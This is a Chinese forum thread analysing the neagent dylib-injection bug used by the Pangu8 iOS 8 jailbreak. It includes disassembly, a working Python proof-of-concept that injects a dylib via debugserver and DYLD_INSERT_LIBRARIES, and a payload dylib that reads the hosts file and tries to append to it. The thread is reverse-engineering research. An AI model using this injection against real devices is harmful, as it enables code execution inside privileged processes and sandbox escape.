8

[原创]Pangu8越狱中所用 /usr/libexec/neagent 漏洞原理分析

木桩 2014-12-12 21:07 25279
这段时间对Pangu8越狱时所用的漏洞比较感兴趣,不过搜到的基本只有所使用漏洞的列表
8.0/8.0.1/8.0.2/8.1
Pangu8
- an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)
- enterprise certificate (inside the IPA)
- a kind of dylib injection into a system process (see IPA)
- a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)
- a sandboxing problem in debugserver (CVE-2014-4457)
- the same/a similar kernel exploit as used in Pangu (CVE-2014-4461) (source @iH8sn0w)
- enable-dylibs-to-override-cache
- CVE-2014-4455


经过几天的折腾,算是弄明白其中neagent漏洞的利用方法,并用Python验证了注入过程。
不过个人水平有限,越看Pangu8的细节疑问越多,希望能够借此抛砖引玉讨论下其他漏洞细节。如果其中有什么疏漏之处,希望各位大侠轻拍板砖

另外感谢jerryxjtu兄的指点,研究了几天libimobiledevice确实大有收获。为了方便调试com.apple.debugserver服务,也试着写了下Python版的debugserver.pxi并merge到了libimobiledevice:master。有兴趣使用Python版DebugServerClient的同学,可以参考这个例子:从远程启动目标App。

------------------------------------------------------------------------------------

能查到的关于neagent这个漏洞,最早是@iH8sn0w在Twitter上提到的:https://twitter.com/ih8sn0w/status/524968711636418560



不过搜不到其他有用的信息。本着自己动手丰衣足食的想法,打算跟踪下Pangu8来看看neagent到底是怎么回事。不过看到Pangu8_v1.2.1.exe是VMP壳瞬间一头包,还好后面发现有个MacOS版的没有加壳,方便提取Payload

参考分析Evasi0n7的方法用jtool对Pangu8主程序进行解包,原始Payload在 __TEXT.__objc_cons1 ~ __TEXT.__objc_cons7 中;
用md5和机器中文件对比了下,定位了大致每个Payload的内容。详细jtool用法可以看附件里的解包脚本Pangu8_extract_payload.sh
(ps:有人知道__TEXT.__objc_cons1里是什么内容吗?用binwalk只知道里面有三个bzip的头部)

接着就是拿出IDA看Pangu8的主程序了,按照里面的字符串可以将越狱分为开始,6个准备阶段,2个注入阶段以及清理阶段:

__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12    db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22    db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0


# 'Start jailbreak ..'

开始越狱阶段,先通过afc服务在建立 /Pangu-Install/ 目录:
# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC                 mov     rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3                 call    _afc_make_directory


接着写入Payload里4个tar文件:(不勾选pphelper.tar的话)
$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar  packagelist.tar  pangu.tar  pangu_ex.tar


# 'Preparing the environment (1/6)'

准备阶段1,通过afc服务上传IPA,并通过installation_proxy的标准方式安装目标APP。这里IPA的企业版证书就不多说了,(As of now incomplete) Writeup of Pangu 里面详细介绍过为什么要调时间。

# 如果不存在,则创建PublicStaging/目录
__text:000000010002A982                 lea     rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989                 call    _afc_make_directory

# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6                 mov     rdi, [rbp+var_40]
__text:000000010002A9DA                 mov     rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE                 lea     rcx, [rbp+var_38]
__text:000000010002A9E2                 mov     edx, 3
__text:000000010002A9E7                 call    _afc_file_open

# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B                 lea     rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82                 lea     rdx, _instproxy_client_new


用Python重现该安装过程可以看这个脚本:afc_and_instproxy_upgrade_ipa.py

这里安装的 pangunew.ipa 里带有关键的 xuanyuansword.dylib,将在准备阶段2里用到。

# ’Preparing the environment (2/6)'

准备阶段2,通过debugserver注入刚才IPA里带的xuanyuansword.dylib到/usr/libexec/neagent。当然之前还有mount开发者镜像的工作,常规的`mobile_image_mounter_upload_image/mobile_image_mounter_mount_image`不是此次越狱的重点,就pass了。

其中的关键步骤如下:


    [*]使用 instproxy_client_get_path_for_bundle_identifier 获取app的路径(之前安装的IPA);
    [*]找到其中的 xuanyuansword.dylib 并拼接成参数字符串:`DYLD_INSERT_LIBRARIES=%s/xuanyuansword.dylib`
    [*]使用 debugserver_client_set_argv 启动 /usr/libexec/neagent,当然环境变量加上上面的DYLD_INSERT_LIBRARIES;


这里就有个疑问了,为什么是用debugserver启动/usr/libexec/neagent注入dylib,它有什么特殊吗?
ldid -e查看entitlements.xml:

# ldid -e /usr/libexec/neagent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>
  <array>
    <string>UniqueDeviceID</string>
  </array>
  <key>com.apple.private.neagent</key>
  <true/>
  <key>com.apple.private.necp.match</key>
  <true/>
  <key>com.apple.private.skip-library-validation</key>
  <true/>
  <key>keychain-access-groups</key>
  <array>
    <string>com.apple.identities</string>
    <string>apple</string>
    <string>com.apple.certificates</string>
  </array>
</dict>
</plist>


com.apple.private.skip-library-validation 估计这是加载dylib的关键了。不过这个skip-library-validation资料不多,只能从名字上推测是不检查`DYLD_INSERT_LIBRARIES`注入的dylib,难道是apple的开发为了方便调试加的?

------------------------------------------------------------------------------------

漏洞重现

看完反汇编的代码后还是对neagent加载dylib原理不明所以,于是自己用Python写了一遍用来验证漏洞的利用过程:

#!/usr/bin/env python

import os
import sys
import time
import plist
from imobiledevice import *

# mount /Developer image before test
# ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}

def lockdown_get_service_client(service_class):
  ld = LockdownClient(iDevice())
  return ld.get_service_client(service_class)

def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  client_options = plist.Dict({
    "ApplicationType": "User",
    "ReturnAttributes": plist.Array([
      "CFBundleIdentifier",
      "CFBundleExecutable",
      "Container",
    ]),
  })
  result_list = instproxy.browse(client_options)
  for app in result_list:
    if app["CFBundleIdentifier"] == bundle_id:
      return "%s" % app["Container"]
  return ""

def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  return instproxy.get_path_for_bundle_identifier(bundle_id)

def debugserver_inject_neagent(app_container, app_path, dylib):
  debugserver = lockdown_get_service_client(DebugServerClient)

  with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
    print debugserver.send_command(cmd)

  print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))
  print debugserver.set_argv(1, ["/usr/libexec/neagent"])

def main():
  bundle_id = "com.pangu.ipa1"
  #dylib = "xuanyuansword.dylib"
  dylib = "demo_dylib.dylib"

  app_container = get_pangunew_Container(bundle_id)
  print "Container: %s" % app_container
  app_path = get_pangunew_Path(bundle_id)
  app_path = os.path.dirname(app_path)
  print "Path: %s" % app_path

  debugserver_inject_neagent(app_container, app_path, dylib)

if __name__ == '__main__':
  main()



    [*]首先在 get_pangunew_Container() 里,通过 InstallationProxyClient 获取com.pangu.ipa1的Container目录,作为neagent的WorkingDir。这里参考Pangu8里筛选ReturnAttributes,不过因为pangunew.app是用户程序,所以只用browse(ApplicationType=User)的应用就可以了。
    [*]通过 get_pangunew_Path() 获取com.pangu.ipa1的Path,用来拼接dylib的绝对路径。其实这里在之前取Container时就可以直接获取到Path,不过还是按照Pangu8的换用InstallationProxyClient实现了下。
    [*]最后用 DebugServerClient 设置环境变量并启动neagent。


不过调试时发现neagent是没有get-task-allow=true的,不过既然dylib被加载,那么应该是从__DATA,__mod_init_func开始执行的,看了下xuanyuansword.dylib也确实如此。

写了个验证用的demo_dylib.dylib,代码如下:
// __DATA,__mod_init_func
__attribute__((constructor))
void demo_main()
{
  NSLog(@"demo dylib loaded");
}


编译后查看 __DATA,__mod_init_func 指向demo_main。复制到com.pangu.ipa1的Path路径下,运行后用idevicesyslog就可以看到输出了:



注:正常情况下neagent注入执行完__mod_init_func后会被debugserver给kill掉。如果启动后neagent crash了,请检查dylib的路径是否有效,以及是否有chmod +x

推荐:论坛大聚会| 看雪安全开发者峰会将于7月21号火热来袭!

上传的附件:
最新回复 (21)
安于此生 2014-12-12 21:09
2
nice,沙发!
木桩 2014-12-12 21:22
3
目前只分析到neagent加载起xuanyuansword.dylib,在越狱机器上会从 'Preparing the environment (1/6)' 直接跳到(6/6),很难顺着跟下去。
希望有大神能讲解下其他阶段的越狱流程,还有那个 “a sandboxing problem in debugserver (CVE-2014-4457)” 是怎么回事?

好吧,自问自答了。推测这个debugserver绕过沙盒漏洞,是说在pangunew.app安装目录下的dylib,注入neagent后可以访问pangunew.app的Container/之外路径。

修改注入的dylib为下面这样:
#include <errno.h>

#define MAX_READ_LINE (256)

// __DATA,__mod_init_func
__attribute__((constructor))
void mod_init_main()
{
	NSLog(@"[+] mod_init_main: dylib loaded");

	FILE *pFile;
	char buffer[MAX_READ_LINE] = {0};

	NSLog(@"[-] try read system file");
	pFile = fopen("/private/etc/hosts", "r");
	if (pFile == NULL) {
		NSLog(@"[-] open read failed: %s", strerror(errno));
	} else {
		while (!feof(pFile)) {
			if ( fgets (buffer, MAX_READ_LINE, pFile) != NULL )
				NSLog(@"%s", buffer);
		}
		fclose(pFile);
	}

	NSLog(@"[-] try write system file");
	pFile = fopen("/private/etc/hosts", "a");
	if (pFile == NULL) {
		NSLog(@"[-] open write failed: %s", strerror(errno));
	} else {
		NSLog(@"[-] append '127.0.0.1 www.baidu.com' to hosts.");
		fprintf(pFile, "127.0.0.1 www.baidu.com");
		fclose(pFile);
	}

	NSLog(@"[+] mod_init_main: end");
}

// vim:ft=objc


测试对 /private/etc/hosts 的读取是有权限的,不过系统分区是只读的mount,所以后面追加写会失败:
cat /etc/fstab
/dev/disk0s1s1 / hfs ro 0 1
RootSuLe 2014-12-12 21:28
4
研究研究
jstqyymwy 2014-12-12 21:37
5
支持下,
coltor 2014-12-13 00:25
6
不错不错~~
jerryxjtu 2014-12-13 23:14
7
感谢分享。
木桩 2014-12-14 09:50
8
也拜读过你的大作《p0sixspwn源码看越狱流程、原理、目的》,最近的TaiG所用的 DDI race condition 有研究过吗?
DeveloperDiskImage race condition (by comex) (also used in p0sixspwn)


和p0sixspwn里用的方式类似,不过我试了好久也没成功
iOS8里只能用 mobile_image_mounter_upload_image 上传的镜像了(位置不是PublicStaging/staging.dimage),不知道这个是怎么处理的
airbus 2014-12-15 09:30
9
进来学习楼主的研究精神.赞
香菇 2014-12-15 16:21
10
支持更多分享。
Arcade 2014-12-15 16:38
11
学习了。
snakeninny 2014-12-15 16:46
12
楼主能在bbs.iosre.com上发一份吗?谢谢!好多人跟我说要多找一些高质量的文章了~
木桩 2014-12-15 19:38
13
[QUOTE=snakeninny;1338031]楼主能在bbs.iosre.com上发一份吗?谢谢!好多人跟我说要多找一些高质量的文章了~[/QUOTE]

呵呵,我的lldb的基本用法就是在iosre上学的
不过这两天登录时总是刷不出验证码,所以才没转过去
jerryxjtu 2014-12-15 22:49
14
8的不清楚。ideviceimagemounter.exe在iOS8上能用么?
你的问题是有签名的ddi也mount失败还是说race condition条件难以达到?
如果是race condition我觉得用python执行效率低,来进行碰撞可能有难度。
木桩 2014-12-16 14:47
15
ideviceimagemounter可以的。mount iOS8.0的DDI可以用这个命令:
ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}


我的问题是:iOS8下有签名的ddi上传后,如何用afc去rename构造race condition?

看工具的源码,对新版本的mobile_image_mounter用的是upload_image接口。而upload_image上传的镜像不在afc的/private/var/mobile/Media下,所以好奇TaiG是如何用afc去rename镜像构造race condition的

ps: 好吧,真诡异。看了下自带的例子,虽然upload_image上传的镜像写到了/var/run/mobile_image_mounter/:
mobile_storage_proxy[2916] <Error>: makePathWithSignature:412 result: /var/run/mobile_image_mounter/93b18fa84d923006964cb359e6d705623c0630f58517e71529187da6e25340d3d611546a7a79733bd1439695c8df6e1d2c66a3ff453957b8d4189ad3da81cfcc/faa397780e6c57a5f1d21d15584d5aa2383cb53f07141c7b5107525871a95e4000411ef84cdc6deac66efbaf0c8b89fda27

但mount_image时的参数2 mountname依然传递的 /private/var/mobile/Media/PublicStaging/staging.dimage(没有对应文件)。估计是这个原因,导致可以用afc像以前那样rename吧
bestshow 2014-12-17 16:58
16
mark
JackJoker 2014-12-18 19:47
17
厉害,学习学习啊。
airbus 2014-12-22 10:07
18
没记错的话,ios7.0开始 就用UploadImage上传dmg给imagemounter服务了,路径还是指定原先的Publicstage\xxx.dmg就可以,imagemounter服务自己会去处理吧.是这样吗?
木桩 2014-12-22 22:31
19
嗯。接触mobile_image_mounter比较晚,不过确实在代码里看到lockdownd版本号的比较,应该是你说的iOS7.0开始改用upload_image,而不是像p0sixspwn中那样直接用afc上传。
这个伪路径挺莫名其妙的,真不明白这样做有什么作用
FlashK 2014-12-26 22:48
20
学习下,有点深奥。
要从基础学起。
laxYY 2014-12-30 12:17
21
pangu 在最后的一步,  使用的算法被vm过的,  使用了时间,设备ID,随时数。加密数据传.
成功回来CCTV,   失败是CCAV
LZ 有K掉吗?
kman 2015-1-3 01:09
22
11月poc2014上pangu成员就已经介绍了越狱技术和漏洞了
返回